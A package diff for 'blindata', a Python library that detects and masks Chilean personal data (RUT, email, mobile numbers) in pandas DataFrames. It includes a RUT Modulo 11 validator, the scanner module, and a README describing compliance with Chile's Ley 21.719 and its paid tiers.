"valores_afectados": int(serie.notna().sum()),
|
|
156
|
+
"reversible": False,
|
|
157
|
+
"timestamp": datetime.now().isoformat(),
|
|
158
|
+
})
|
|
159
|
+
|
|
160
|
+
return resultado
|
|
161
|
+
|
|
162
|
+
def _enmascarar_rut(self, valor: str) -> str:
|
|
163
|
+
"""12.345.678-5 → **.***.678-5"""
|
|
164
|
+
limpio = valor.replace(".", "").replace("-", "").replace(" ", "")
|
|
165
|
+
if len(limpio) < 5:
|
|
166
|
+
return "***"
|
|
167
|
+
return f"**.***.{limpio[-4:-1]}-{limpio[-1]}"
|
|
168
|
+
|
|
169
|
+
def _enmascarar_email(self, valor: str) -> str:
|
|
170
|
+
"""maria.gonzalez@gmail.com → m*************z@gmail.com"""
|
|
171
|
+
if "@" not in valor:
|
|
172
|
+
return self._enmascarar_general(valor)
|
|
173
|
+
local, dominio = valor.split("@", 1)
|
|
174
|
+
if len(local) <= 2:
|
|
175
|
+
return f"**@{dominio}"
|
|
176
|
+
return f"{local[0]}{'*' * (len(local) - 2)}{local[-1]}@{dominio}"
|
|
177
|
+
|
|
178
|
+
def _enmascarar_telefono(self, valor: str) -> str:
|
|
179
|
+
"""+56 9 1234 5678 → +56 9 **** 5678"""
|
|
180
|
+
digitos = re.sub(r'\D', '', valor)
|
|
181
|
+
if len(digitos) < 4:
|
|
182
|
+
return "***"
|
|
183
|
+
return f"+56 9 **** {digitos[-4:]}"
|
|
184
|
+
|
|
185
|
+
def _enmascarar_general(self, valor: str) -> str:
|
|
186
|
+
if len(valor) <= 4:
|
|
187
|
+
return "***"
|
|
188
|
+
return valor[:2] + "*" * (len(valor) - 4) + valor[-2:]
|
blindata/scanner.py
ADDED
|
@@ -0,0 +1,467 @@
|
|
|
1
|
+
"""
|
|
2
|
+
Blindata — Módulo Scanner
|
|
3
|
+
=============================
|
|
4
|
+
Detecta datos personales (PII) en DataFrames de Pandas,
|
|
5
|
+
con foco en identificadores chilenos.
|
|
6
|
+
|
|
7
|
+
Autora: Daniela Inostroza
|
|
8
|
+
Proyecto: Blindata
|
|
9
|
+
"""
|
|
10
|
+
|
|
11
|
+
import re
|
|
12
|
+
import pandas as pd
|
|
13
|
+
from typing import Any, Optional, TypedDict
|
|
14
|
+
|
|
15
|
+
|
|
16
|
+
# ============================================================
|
|
17
|
+
# 0. TIPOS
|
|
18
|
+
# ============================================================
|
|
19
|
+
|
|
20
|
+
class PatronPII(TypedDict):
|
|
21
|
+
regex: re.Pattern[str]
|
|
22
|
+
tipo: str
|
|
23
|
+
sensibilidad: str
|
|
24
|
+
descripcion: str
|
|
25
|
+
|
|
26
|
+
|
|
27
|
+
# ============================================================
|
|
28
|
+
# 1. VALIDADOR DE RUT — Algoritmo Módulo 11
|
|
29
|
+
# ============================================================
|
|
30
|
+
#
|
|
31
|
+
# El RUT chileno tiene esta estructura: XX.XXX.XXX-V
|
|
32
|
+
# donde V es el "dígito verificador" (0-9 o K).
|
|
33
|
+
#
|
|
34
|
+
# ¿Cómo se calcula V? Con el algoritmo Módulo 11:
|
|
35
|
+
#
|
|
36
|
+
# Paso 1: Tomar los dígitos del cuerpo (sin el verificador)
|
|
37
|
+
# Paso 2: Multiplicar cada dígito por una serie cíclica: 2,3,4,5,6,7,2,3...
|
|
38
|
+
# (de DERECHA a IZQUIERDA)
|
|
39
|
+
# Paso 3: Sumar todos los productos
|
|
40
|
+
# Paso 4: Calcular el resto de dividir la suma por 11
|
|
41
|
+
# Paso 5: Restar el resto a 11 → ese es el dígito verificador
|
|
42
|
+
# Si el resultado es 11 → verificador es "0"
|
|
43
|
+
# Si el resultado es 10 → verificador es "K"
|
|
44
|
+
#
|
|
45
|
+
# Esto es lo que hace que un RUT sea VÁLIDO vs simplemente
|
|
46
|
+
# tener el formato correcto. Es la diferencia entre detectar
|
|
47
|
+
# "cualquier cosa que parece RUT" y detectar "un RUT real".
|
|
48
|
+
|
|
49
|
+
def validar_rut(rut: str) -> bool:
|
|
50
|
+
"""
|
|
51
|
+
Valida un RUT chileno usando el algoritmo Módulo 11.
|
|
52
|
+
|
|
53
|
+
Acepta múltiples formatos:
|
|
54
|
+
- 12.345.678-5
|
|
55
|
+
- 12345678-5
|
|
56
|
+
- 123456785 (sin guión)
|
|
57
|
+
|
|
58
|
+
Args:
|
|
59
|
+
rut: String con el RUT a validar.
|
|
60
|
+
|
|
61
|
+
Returns:
|
|
62
|
+
True si el RUT es válido, False si no.
|
|
63
|
+
|
|
64
|
+
Ejemplos:
|
|
65
|
+
>>> validar_rut("12.345.678-5")
|
|
66
|
+
True
|
|
67
|
+
>>> validar_rut("11.111.111-1") # dígito verificador incorrecto
|
|
68
|
+
False
|
|
69
|
+
>>> validar_rut("76.XXX.123-4") # caracteres inválidos
|
|
70
|
+
False
|
|
71
|
+
"""
|
|
72
|
+
# --- Paso 0: Limpiar el input ---
|
|
73
|
+
rut_limpio = rut.strip().upper().replace(".", "").replace("-", "").replace(" ", "")
|
|
74
|
+
|
|
75
|
+
if len(rut_limpio) < 2:
|
|
76
|
+
return False
|
|
77
|
+
|
|
78
|
+
# --- Paso 1: Separar cuerpo y dígito verificador ---
|
|
79
|
+
cuerpo = rut_limpio[:-1]
|
|
80
|
+
dv_ingresado = rut_limpio[-1]
|
|
81
|
+
|
|
82
|
+
if not cuerpo.isdigit():
|
|
83
|
+
return False
|
|
84
|
+
|
|
85
|
+
if dv_ingresado not in "0123456789K":
|
|
86
|
+
return False
|
|
87
|
+
|
|
88
|
+
# --- Paso 2: Aplicar el algoritmo Módulo 11 ---
|
|
89
|
+
suma = 0
|
|
90
|
+
multiplicador = 2
|
|
91
|
+
|
|
92
|
+
for digito in reversed(cuerpo):
|
|
93
|
+
suma += int(digito) * multiplicador
|
|
94
|
+
multiplicador += 1
|
|
95
|
+
if multiplicador > 7:
|
|
96
|
+
multiplicador = 2
|
|
97
|
+
|
|
98
|
+
# --- Paso 3: Calcular el dígito verificador esperado ---
|
|
99
|
+
resto = suma % 11
|
|
100
|
+
resultado = 11 - resto
|
|
101
|
+
|
|
102
|
+
if resultado == 11:
|
|
103
|
+
dv_calculado = "0"
|
|
104
|
+
elif resultado == 10:
|
|
105
|
+
dv_calculado = "K"
|
|
106
|
+
else:
|
|
107
|
+
dv_calculado = str(resultado)
|
|
108
|
+
|
|
109
|
+
return dv_ingresado == dv_calculado
|
|
110
|
+
|
|
111
|
+
|
|
112
|
+
# ============================================================
|
|
113
|
+
# 2. PATRONES REGEX PARA PII CHILENO
|
|
114
|
+
# ============================================================
|
|
115
|
+
|
|
116
|
+
PATRONES_PII: dict[str, PatronPII] = {
|
|
117
|
+
|
|
118
|
+
"rut": {
|
|
119
|
+
"regex": re.compile(
|
|
120
|
+
r"""
|
|
121
|
+
\b # límite de palabra
|
|
122
|
+
(\d{1,2}) # 1-2 dígitos iniciales
|
|
123
|
+
[.]? # punto opcional
|
|
124
|
+
(\d{3}) # 3 dígitos
|
|
125
|
+
[.]? # punto opcional
|
|
126
|
+
(\d{3}) # 3 dígitos
|
|
127
|
+
[-]? # guión opcional
|
|
128
|
+
([\dkK]) # dígito verificador
|
|
129
|
+
\b
|
|
130
|
+
""",
|
|
131
|
+
re.VERBOSE
|
|
132
|
+
),
|
|
133
|
+
"tipo": "RUT (Rol Único Tributario)",
|
|
134
|
+
"sensibilidad": "personal",
|
|
135
|
+
"descripcion": "Identificador único nacional. Dato personal bajo Ley 21.719.",
|
|
136
|
+
},
|
|
137
|
+
|
|
138
|
+
"telefono_cl": {
|
|
139
|
+
"regex": re.compile(
|
|
140
|
+
r"""
|
|
141
|
+
(?:
|
|
142
|
+
(?:\+56|56)
|
|
143
|
+
\s?
|
|
144
|
+
)?
|
|
145
|
+
[(]?9[)]?
|
|
146
|
+
\s?
|
|
147
|
+
\d{4}
|
|
148
|
+
[\s.-]?
|
|
149
|
+
\d{4}
|
|
150
|
+
""",
|
|
151
|
+
re.VERBOSE
|
|
152
|
+
),
|
|
153
|
+
"tipo": "Teléfono celular chileno",
|
|
154
|
+
"sensibilidad": "personal_contacto",
|
|
155
|
+
"descripcion": "Número de contacto personal. Dato personal bajo Ley 21.719.",
|
|
156
|
+
},
|
|
157
|
+
|
|
158
|
+
"email": {
|
|
159
|
+
"regex": re.compile(
|
|
160
|
+
r"""
|
|
161
|
+
\b
|
|
162
|
+
[a-zA-Z0-9._%+-]+
|
|
163
|
+
@
|
|
164
|
+
[a-zA-Z0-9.-]+
|
|
165
|
+
\.
|
|
166
|
+
[a-zA-Z]{2,}
|
|
167
|
+
\b
|
|
168
|
+
""",
|
|
169
|
+
re.VERBOSE
|
|
170
|
+
),
|
|
171
|
+
"tipo": "Correo electrónico",
|
|
172
|
+
"sensibilidad": "personal_contacto",
|
|
173
|
+
"descripcion": "Dirección de correo. Dato personal bajo Ley 21.719.",
|
|
174
|
+
},
|
|
175
|
+
}
|
|
176
|
+
|
|
177
|
+
|
|
178
|
+
# ============================================================
|
|
179
|
+
# 3. FUNCIONES DE DETECCIÓN POR COLUMNA
|
|
180
|
+
# ============================================================
|
|
181
|
+
|
|
182
|
+
def detectar_ruts_en_serie(serie: pd.Series) -> dict:
|
|
183
|
+
"""
|
|
184
|
+
Analiza una Serie de Pandas buscando RUTs chilenos.
|
|
185
|
+
|
|
186
|
+
No solo busca el patrón regex — también VALIDA cada RUT
|
|
187
|
+
encontrado con el algoritmo Módulo 11. Esto reduce
|
|
188
|
+
dramáticamente los falsos positivos.
|
|
189
|
+
|
|
190
|
+
Returns:
|
|
191
|
+
Dict con resultados del análisis:
|
|
192
|
+
{
|
|
193
|
+
"encontrados": int,
|
|
194
|
+
"validos": int,
|
|
195
|
+
"tasa_deteccion": float,
|
|
196
|
+
"ejemplos": list,
|
|
197
|
+
}
|
|
198
|
+
"""
|
|
199
|
+
patron = PATRONES_PII["rut"]["regex"]
|
|
200
|
+
encontrados = 0
|
|
201
|
+
validos = 0
|
|
202
|
+
ejemplos: list[str] = []
|
|
203
|
+
|
|
204
|
+
for valor in serie.dropna().astype(str):
|
|
205
|
+
match = patron.search(valor)
|
|
206
|
+
if match:
|
|
207
|
+
encontrados += 1
|
|
208
|
+
rut_completo = match.group(0)
|
|
209
|
+
|
|
210
|
+
if validar_rut(rut_completo):
|
|
211
|
+
validos += 1
|
|
212
|
+
if len(ejemplos) < 3:
|
|
213
|
+
ejemplos.append(_enmascarar_rut(rut_completo))
|
|
214
|
+
|
|
215
|
+
total = len(serie.dropna())
|
|
216
|
+
tasa = validos / total if total > 0 else 0
|
|
217
|
+
|
|
218
|
+
return {
|
|
219
|
+
"encontrados": encontrados,
|
|
220
|
+
"validos": validos,
|
|
221
|
+
"tasa_deteccion": round(tasa, 4),
|
|
222
|
+
"ejemplos": ejemplos,
|
|
223
|
+
}
|
|
224
|
+
|
|
225
|
+
|
|
226
|
+
def detectar_patron_en_serie(serie: pd.Series, nombre_patron: str) -> dict:
|
|
227
|
+
"""
|
|
228
|
+
Analiza una Serie de Pandas buscando un patrón PII genérico.
|
|
229
|
+
"""
|
|
230
|
+
if nombre_patron not in PATRONES_PII:
|
|
231
|
+
raise ValueError(f"Patrón '{nombre_patron}' no existe. "
|
|
232
|
+
f"Disponibles: {list(PATRONES_PII.keys())}")
|
|
233
|
+
|
|
234
|
+
patron = PATRONES_PII[nombre_patron]["regex"]
|
|
235
|
+
encontrados = 0
|
|
236
|
+
ejemplos: list[str] = []
|
|
237
|
+
|
|
238
|
+
for valor in serie.dropna().astype(str):
|
|
239
|
+
match = patron.search(valor)
|
|
240
|
+
if match:
|
|
241
|
+
encontrados += 1
|
|
242
|
+
if len(ejemplos) < 3:
|
|
243
|
+
ejemplos.append(_enmascarar_generico(match.group(0)))
|
|
244
|
+
|
|
245
|
+
total = len(serie.dropna())
|
|
246
|
+
tasa = encontrados / total if total > 0 else 0
|
|
247
|
+
|
|
248
|
+
return {
|
|
249
|
+
"encontrados": encontrados,
|
|
250
|
+
"tasa_deteccion": round(tasa, 4),
|
|
251
|
+
"ejemplos": ejemplos,
|
|
252
|
+
}
|
|
253
|
+
|
|
254
|
+
|
|
255
|
+
# ============================================================
|
|
256
|
+
# 4. FUNCIÓN PRINCIPAL: scan(df)
|
|
257
|
+
# ============================================================
|
|
258
|
+
|
|
259
|
+
def scan(df: pd.DataFrame, incluir_avanzados: bool = False) -> dict:
|
|
260
|
+
"""
|
|
261
|
+
Escanea un DataFrame y detecta datos personales (PII chileno)
|
|
262
|
+
en cada columna.
|
|
263
|
+
|
|
264
|
+
Args:
|
|
265
|
+
df: DataFrame de Pandas a escanear.
|
|
266
|
+
incluir_avanzados: default False (Community). Si True, requiere
|
|
267
|
+
el paquete Pro instalado (disponible en el SaaS oficial).
|
|
268
|
+
|
|
269
|
+
Returns:
|
|
270
|
+
Dict con el reporte de escaneo:
|
|
271
|
+
{
|
|
272
|
+
"resumen": { ... },
|
|
273
|
+
"columnas": {
|
|
274
|
+
"nombre_col": {
|
|
275
|
+
"tipo_detectado": str,
|
|
276
|
+
"sensibilidad": str,
|
|
277
|
+
"detalle": dict,
|
|
278
|
+
}, ...
|
|
279
|
+
}
|
|
280
|
+
}
|
|
281
|
+
|
|
282
|
+
Ejemplo:
|
|
283
|
+
>>> import pandas as pd
|
|
284
|
+
>>> from blindata.scanner import scan
|
|
285
|
+
>>> df = pd.read_csv("datos.csv")
|
|
286
|
+
>>> reporte = scan(df)
|
|
287
|
+
"""
|
|
288
|
+
resultado: dict[str, Any] = {
|
|
289
|
+
"resumen": {
|
|
290
|
+
"total_columnas": len(df.columns),
|
|
291
|
+
"columnas_con_pii": 0,
|
|
292
|
+
"tipos_encontrados": [],
|
|
293
|
+
},
|
|
294
|
+
"columnas": {},
|
|
295
|
+
}
|
|
296
|
+
|
|
297
|
+
for columna in df.columns:
|
|
298
|
+
serie = df[columna]
|
|
299
|
+
|
|
300
|
+
if not _es_columna_analizable(serie):
|
|
301
|
+
resultado["columnas"][columna] = {
|
|
302
|
+
"tipo_detectado": None,
|
|
303
|
+
"sensibilidad": "sin_riesgo",
|
|
304
|
+
"detalle": {"nota": "Columna numérica/booleana sin patrón PII"},
|
|
305
|
+
}
|
|
306
|
+
continue
|
|
307
|
+
|
|
308
|
+
mejor_match = None
|
|
309
|
+
mejor_tasa = 0
|
|
310
|
+
mejor_detalle = {}
|
|
311
|
+
|
|
312
|
+
# --- Detección de RUT (con validación Módulo 11) ---
|
|
313
|
+
deteccion_rut = detectar_ruts_en_serie(serie)
|
|
314
|
+
if deteccion_rut["tasa_deteccion"] > 0.3:
|
|
315
|
+
if deteccion_rut["tasa_deteccion"] > mejor_tasa:
|
|
316
|
+
mejor_match = "rut"
|
|
317
|
+
mejor_tasa = deteccion_rut["tasa_deteccion"]
|
|
318
|
+
mejor_detalle = deteccion_rut
|
|
319
|
+
|
|
320
|
+
# --- Detección de teléfono y email ---
|
|
321
|
+
for nombre_patron in ["telefono_cl", "email"]:
|
|
322
|
+
deteccion = detectar_patron_en_serie(serie, nombre_patron)
|
|
323
|
+
if deteccion["tasa_deteccion"] > 0.3:
|
|
324
|
+
if deteccion["tasa_deteccion"] > mejor_tasa:
|
|
325
|
+
mejor_match = nombre_patron
|
|
326
|
+
mejor_tasa = deteccion["tasa_deteccion"]
|
|
327
|
+
mejor_detalle = deteccion
|
|
328
|
+
|
|
329
|
+
# --- Detección avanzada (solo si Pro está instalado) ---
|
|
330
|
+
if incluir_avanzados:
|
|
331
|
+
try:
|
|
332
|
+
import blindata_pro
|
|
333
|
+
resultado_avanzado = blindata_pro.detectar_avanzados(serie)
|
|
334
|
+
if resultado_avanzado and resultado_avanzado["tasa_deteccion"] > mejor_tasa:
|
|
335
|
+
mejor_match = "avanzado"
|
|
336
|
+
mejor_tasa = resultado_avanzado["tasa_deteccion"]
|
|
337
|
+
mejor_detalle = resultado_avanzado
|
|
338
|
+
except ImportError as e:
|
|
339
|
+
raise NotImplementedError(
|
|
340
|
+
"La detección avanzada requiere el paquete Pro, "
|
|
341
|
+
"disponible en el SaaS oficial (blindata.cl).\n\n"
|
|
342
|
+
"Community detecta RUT, email y teléfono — usá "
|
|
343
|
+
"`scan(df)` o `scan(df, incluir_avanzados=False)`."
|
|
344
|
+
) from e
|
|
345
|
+
|
|
346
|
+
# --- Registrar resultado ---
|
|
347
|
+
if mejor_match:
|
|
348
|
+
if mejor_match in PATRONES_PII:
|
|
349
|
+
info_patron = PATRONES_PII[mejor_match]
|
|
350
|
+
tipo = info_patron["tipo"]
|
|
351
|
+
sensibilidad = info_patron["sensibilidad"]
|
|
352
|
+
else:
|
|
353
|
+
# Detección avanzada: tipo/sensibilidad viene en el detalle
|
|
354
|
+
tipo = mejor_detalle.pop("_tipo_label", "Dato personal")
|
|
355
|
+
sensibilidad = mejor_detalle.pop("_sensibilidad", "personal")
|
|
356
|
+
|
|
357
|
+
resultado["columnas"][columna] = {
|
|
358
|
+
"tipo_detectado": tipo,
|
|
359
|
+
"sensibilidad": sensibilidad,
|
|
360
|
+
"detalle": mejor_detalle,
|
|
361
|
+
}
|
|
362
|
+
resultado["resumen"]["columnas_con_pii"] += 1
|
|
363
|
+
if tipo not in resultado["resumen"]["tipos_encontrados"]:
|
|
364
|
+
resultado["resumen"]["tipos_encontrados"].append(tipo)
|
|
365
|
+
else:
|
|
366
|
+
resultado["columnas"][columna] = {
|
|
367
|
+
"tipo_detectado": None,
|
|
368
|
+
"sensibilidad": "sin_riesgo",
|
|
369
|
+
"detalle": {"nota": "No se detectó PII con los patrones actuales"},
|
|
370
|
+
}
|
|
371
|
+
|
|
372
|
+
return resultado
|
|
373
|
+
|
|
374
|
+
|
|
375
|
+
def imprimir_reporte(reporte: dict) -> None:
|
|
376
|
+
"""
|
|
377
|
+
Imprime el reporte de escaneo en formato tabla legible.
|
|
378
|
+
Pensado para uso en Jupyter Notebook.
|
|
379
|
+
"""
|
|
380
|
+
print("\n" + "=" * 72)
|
|
381
|
+
print(" BLINDATA — Reporte de Escaneo")
|
|
382
|
+
print("=" * 72)
|
|
383
|
+
|
|
384
|
+
resumen = reporte["resumen"]
|
|
385
|
+
print(f"\n Columnas analizadas: {resumen['total_columnas']}")
|
|
386
|
+
print(f" Columnas con PII: {resumen['columnas_con_pii']}")
|
|
387
|
+
if resumen["tipos_encontrados"]:
|
|
388
|
+
print(f" Tipos detectados: {', '.join(resumen['tipos_encontrados'])}")
|
|
389
|
+
|
|
390
|
+
print("\n" + "-" * 72)
|
|
391
|
+
print(f" {'Columna':<20} {'Tipo detectado':<25} {'Sensibilidad':<15} {'Tasa'}")
|
|
392
|
+
print("-" * 72)
|
|
393
|
+
|
|
394
|
+
indicadores = {
|
|
395
|
+
"personal": "🔴 Personal",
|
|
396
|
+
"personal_contacto": "🟡 Contacto",
|
|
397
|
+
"sensible": "🔴 Sensible",
|
|
398
|
+
"sin_riesgo": "🟢 Sin riesgo",
|
|
399
|
+
}
|
|
400
|
+
|
|
401
|
+
for col, info in reporte["columnas"].items():
|
|
402
|
+
tipo = info["tipo_detectado"] or "—"
|
|
403
|
+
sens = indicadores.get(info["sensibilidad"], info["sensibilidad"])
|
|
404
|
+
tasa = ""
|
|
405
|
+
if "tasa_deteccion" in info.get("detalle", {}):
|
|
406
|
+
tasa = f"{info['detalle']['tasa_deteccion']:.0%}"
|
|
407
|
+
print(f" {col:<20} {tipo:<25} {sens:<15} {tasa}")
|
|
408
|
+
|
|
409
|
+
print("-" * 72)
|
|
410
|
+
|
|
411
|
+
if resumen["columnas_con_pii"] > 0:
|
|
412
|
+
print(f"\n ⚠️ Se detectaron {resumen['columnas_con_pii']} columna(s) con datos personales.")
|
|
413
|
+
print(" Según la Ley 21.719, estos datos requieren protección antes de su tratamiento.")
|
|
414
|
+
else:
|
|
415
|
+
print("\n ✅ No se detectaron datos personales con los patrones actuales.")
|
|
416
|
+
|
|
417
|
+
print("=" * 72 + "\n")
|
|
418
|
+
|
|
419
|
+
|
|
420
|
+
# ============================================================
|
|
421
|
+
# 5. FUNCIONES AUXILIARES (PRIVADAS)
|
|
422
|
+
# ============================================================
|
|
423
|
+
|
|
424
|
+
def _enmascarar_rut(rut: str) -> str:
|
|
425
|
+
"""Enmascara un RUT para mostrarlo en reportes sin exponer el dato real."""
|
|
426
|
+
limpio = rut.replace(".", "").replace("-", "").replace(" ", "")
|
|
427
|
+
if len(limpio) < 4:
|
|
428
|
+
return "***"
|
|
429
|
+
return f"**.***.{limpio[-4:-1]}-{limpio[-1]}"
|
|
430
|
+
|
|
431
|
+
|
|
432
|
+
def _enmascarar_generico(texto: str) -> str:
|
|
433
|
+
"""Enmascara un texto dejando solo los primeros y últimos 2 caracteres."""
|
|
434
|
+
if len(texto) <= 4:
|
|
435
|
+
return "***"
|
|
436
|
+
return texto[:2] + "*" * (len(texto) - 4) + texto[-2:]
|
|
437
|
+
|
|
438
|
+
|
|
439
|
+
def _es_columna_analizable(serie: pd.Series) -> bool:
|
|
440
|
+
"""
|
|
441
|
+
Determina si una columna vale la pena analizar para PII.
|
|
442
|
+
"""
|
|
443
|
+
dtype_name = serie.dtype.name
|
|
444
|
+
|
|
445
|
+
if dtype_name in ("object", "category", "str", "string"):
|
|
446
|
+
return True
|
|
447
|
+
|
|
448
|
+
if serie.dtype == object or serie.dtype == str:
|
|
449
|
+
return True
|
|
450
|
+
|
|
451
|
+
return False
|
|
452
|
+
|
|
453
|
+
|
|
454
|
+
# ============================================================
|
|
455
|
+
# 6. PUNTO DE ENTRADA RÁPIDO
|
|
456
|
+
# ============================================================
|
|
457
|
+
|
|
458
|
+
def quick_scan(df: pd.DataFrame) -> None:
|
|
459
|
+
"""
|
|
460
|
+
Atajo para escanear e imprimir el reporte en una sola línea.
|
|
461
|
+
|
|
462
|
+
Uso en Jupyter:
|
|
463
|
+
>>> from blindata.scanner import quick_scan
|
|
464
|
+
>>> quick_scan(df)
|
|
465
|
+
"""
|
|
466
|
+
reporte = scan(df)
|
|
467
|
+
imprimir_reporte(reporte)
|
|
@@ -0,0 +1,171 @@
|
|
|
1
|
+
Metadata-Version: 2.4
|
|
2
|
+
Name: blindata
|
|
3
|
+
Version: 0.1.0
|
|
4
|
+
Summary: Compliance Toolkit para Data Analysts — Ley 21.719, Chile. Blindaje para tus datos.
|
|
5
|
+
Author-email: Daniela Inostroza <contacto@blindata.cl>
|
|
6
|
+
License: MIT
|
|
7
|
+
Project-URL: Homepage, https://blindata.cl
|
|
8
|
+
Project-URL: Repository, https://github.com/inostroza-Daniela/blindata
|
|
9
|
+
Project-URL: Documentation, https://github.com/inostroza-Daniela/blindata#readme
|
|
10
|
+
Project-URL: Issues, https://github.com/inostroza-Daniela/blindata/issues
|
|
11
|
+
Keywords: datos-personales,compliance,ley-21719,chile,anonimización,privacidad,APDP,PII,RUT,data-analyst,pandas,proteccion-datos,blindata
|
|
12
|
+
Classifier: Development Status :: 3 - Alpha
|
|
13
|
+
Classifier: Intended Audience :: Developers
|
|
14
|
+
Classifier: Intended Audience :: Science/Research
|
|
15
|
+
Classifier: License :: OSI Approved :: MIT License
|
|
16
|
+
Classifier: Natural Language :: Spanish
|
|
17
|
+
Classifier: Operating System :: OS Independent
|
|
18
|
+
Classifier: Programming Language :: Python :: 3
|
|
19
|
+
Classifier: Programming Language :: Python :: 3.10
|
|
20
|
+
Classifier: Programming Language :: Python :: 3.11
|
|
21
|
+
Classifier: Programming Language :: Python :: 3.12
|
|
22
|
+
Classifier: Topic :: Security
|
|
23
|
+
Classifier: Topic :: Scientific/Engineering :: Information Analysis
|
|
24
|
+
Requires-Python: >=3.10
|
|
25
|
+
Description-Content-Type: text/markdown
|
|
26
|
+
License-File: LICENSE
|
|
27
|
+
Requires-Dist: pandas<3.0,>=2.0
|
|
28
|
+
Provides-Extra: dev
|
|
29
|
+
Requires-Dist: pytest<9.0,>=7.0; extra == "dev"
|
|
30
|
+
Requires-Dist: pytest-cov<7.0,>=4.0; extra == "dev"
|
|
31
|
+
Dynamic: license-file
|
|
32
|
+
|
|
33
|
+
# 🛡️ Blindata
|
|
34
|
+
|
|
35
|
+

|
|
36
|
+
[](https://www.python.org/downloads/)
|
|
37
|
+
[](https://opensource.org/licenses/MIT)
|
|
38
|
+
|
|
39
|
+
**Blindaje para tus datos — Compliance Toolkit para Data Analysts, Data Scientists y ML Engineers en Chile**
|
|
40
|
+
|
|
41
|
+
Blindata es una librería Python que detecta **datos personales chilenos** en tus DataFrames y los enmascara, para que puedas trabajar con datasets respetando la **Ley 21.719** de Protección de Datos Personales.
|
|
42
|
+
|
|
43
|
+
```python
|
|
44
|
+
from blindata import Blindata
|
|
45
|
+
|
|
46
|
+
bd = Blindata()
|
|
47
|
+
bd.scan(df).mostrar()
|
|
48
|
+
df_seguro = bd.proteger(df)
|
|
49
|
+
```
|
|
50
|
+
|
|
51
|
+
```
|
|
52
|
+
Columna Tipo detectado Sensibilidad Tasa
|
|
53
|
+
─────────────────────────────────────────────────────────────────────
|
|
54
|
+
rut_paciente RUT (Rol Único Tributario) 🔴 Personal 100%
|
|
55
|
+
email Correo electrónico 🟡 Contacto 100%
|
|
56
|
+
telefono Teléfono celular chileno 🟡 Contacto 100%
|
|
57
|
+
edad — 🟢 Sin riesgo
|
|
58
|
+
|
|
59
|
+
⚠️ Se detectaron 3 columna(s) con datos personales.
|
|
60
|
+
```
|
|
61
|
+
|
|
62
|
+
---
|
|
63
|
+
|
|
64
|
+
## ¿Por qué Blindata?
|
|
65
|
+
|
|
66
|
+
La **Ley 21.719** entra en vigencia el **1 de diciembre de 2026**. Aplica a toda organización que trate datos personales de residentes en Chile. Multas de hasta **20.000 UTM**.
|
|
67
|
+
|
|
68
|
+
Las herramientas existentes (Microsoft Presidio, DataFog, pii-anonymizer) están diseñadas para inglés y GDPR/HIPAA. No reconocen RUT, FONASA, AFP, ISAPRE ni Clave Única.
|
|
69
|
+
|
|
70
|
+
**Blindata** llena ese vacío. Blindaje para tus datos.
|
|
71
|
+
|
|
72
|
+
### Marco regulatorio que cubre Blindata
|
|
73
|
+
|
|
74
|
+
- **Ley 21.719** — Protección de Datos Personales (vigente diciembre 2026). Clasificación, reportes APDP, DPIA.
|
|
75
|
+
- **Ley 21.663** — Marco de Ciberseguridad (vigente marzo 2025). Complementaria para operadores de importancia vital y sus proveedores.
|
|
76
|
+
- **Ley 20.584** — Derechos del Paciente. Protección de datos clínicos y de salud.
|
|
77
|
+
|
|
78
|
+
---
|
|
79
|
+
|
|
80
|
+
## Community (este paquete, gratis)
|
|
81
|
+
|
|
82
|
+
✅ Validador RUT con algoritmo Módulo 11 (algoritmo oficial SII).
|
|
83
|
+
✅ **3 detectores regex**: RUT, email, teléfono celular chileno.
|
|
84
|
+
✅ Enmascaramiento (`12.345.678-5 → **.***.678-5`).
|
|
85
|
+
✅ Sanitización contra **CSV injection** (formula injection).
|
|
86
|
+
|
|
87
|
+
## Pro ([blindata.cl](https://blindata.cl))
|
|
88
|
+
|
|
89
|
+
🔒 **12 tipos de PII chileno**: agrega nombres de personas, datos de salud, comunas/direcciones, patentes vehiculares, AFP/previsional, ISAPRE, datos bancarios, Clave Única e identificadores SII/tributarios.
|
|
90
|
+
🔒 **Clasificación legal sectorial** (Ley 21.719, Ley 21.663, Ley 20.584) con elevación de riesgo por sector (salud, banca, gobierno, educación, retail).
|
|
91
|
+
🔒 **Pseudonimización y anonimización** con múltiples métodos según nivel de sensibilidad.
|
|
92
|
+
🔒 **Reporte PDF de cumplimiento APDP** (Art. 14 quinquies).
|
|
93
|
+
🔒 Dashboard web con historial, multi-usuario e integraciones.
|
|
94
|
+
|
|
95
|
+
---
|
|
96
|
+
|
|
97
|
+
## Planes
|
|
98
|
+
|
|
99
|
+
| | Community | Starter | Professional | Business | Enterprise |
|
|
100
|
+
|---|---|---|---|---|---|
|
|
101
|
+
| **Precio** | **Gratis** | $59 USD/mes | $149 USD/mes | $349 USD/mes | [Conversemos](mailto:contacto@blindata.cl?subject=Cotización%20Enterprise%20Blindata) |
|
|
102
|
+
| **Detectores** | 3 | 12 | 12 | 12 | 12 + custom |
|
|
103
|
+
| **Datasets/mes** | Ilimitados | 10 | 35 | 150 | A medida |
|
|
104
|
+
| **Filas por dataset** | Sin límite | 10.000 | 50.000 | 250.000 | A medida |
|
|
105
|
+
| **Reportes PDF/mes** | — | 5 | 20 | 80 | A medida |
|
|
106
|
+
| **Clasificación sectorial** | — | 1 sector | Todos | Todos | A medida |
|
|
107
|
+
|
|
108
|
+
Community es gratis para siempre. No es un trial. Sin tarjeta de crédito.
|
|
109
|
+
|
|
110
|
+
---
|
|
111
|
+
|
|
112
|
+
## Instalación
|
|
113
|
+
|
|
114
|
+
```bash
|
|
115
|
+
pip install blindata
|
|
116
|
+
```
|
|
117
|
+
|
|
118
|
+
Requiere Python 3.10+.
|
|
119
|
+
|
|
120
|
+
---
|
|
121
|
+
|
|
122
|
+
## Uso
|
|
123
|
+
|
|
124
|
+
```python
|
|
125
|
+
import pandas as pd
|
|
126
|
+
from blindata import Blindata
|
|
127
|
+
|
|
128
|
+
df = pd.read_csv("mi_dataset.csv")
|
|
129
|
+
|
|
130
|
+
bd = Blindata()
|
|
131
|
+
resultado = bd.scan(df)
|
|
132
|
+
resultado.mostrar()
|
|
133
|
+
|
|
134
|
+
# Enmascarar columnas detectadas
|
|
135
|
+
df_seguro = bd.proteger(df)
|
|
136
|
+
df_seguro.to_csv("dataset_seguro.csv", index=False)
|
|
137
|
+
```
|
|
138
|
+
|
|
139
|
+
---
|
|
140
|
+
|
|
141
|
+
## Roadmap
|
|
142
|
+
|
|
143
|
+
| Feature | Estado |
|
|
144
|
+
|---------|--------|
|
|
145
|
+
| Community: scan + enmascaramiento | ✅ v0.1.0 |
|
|
146
|
+
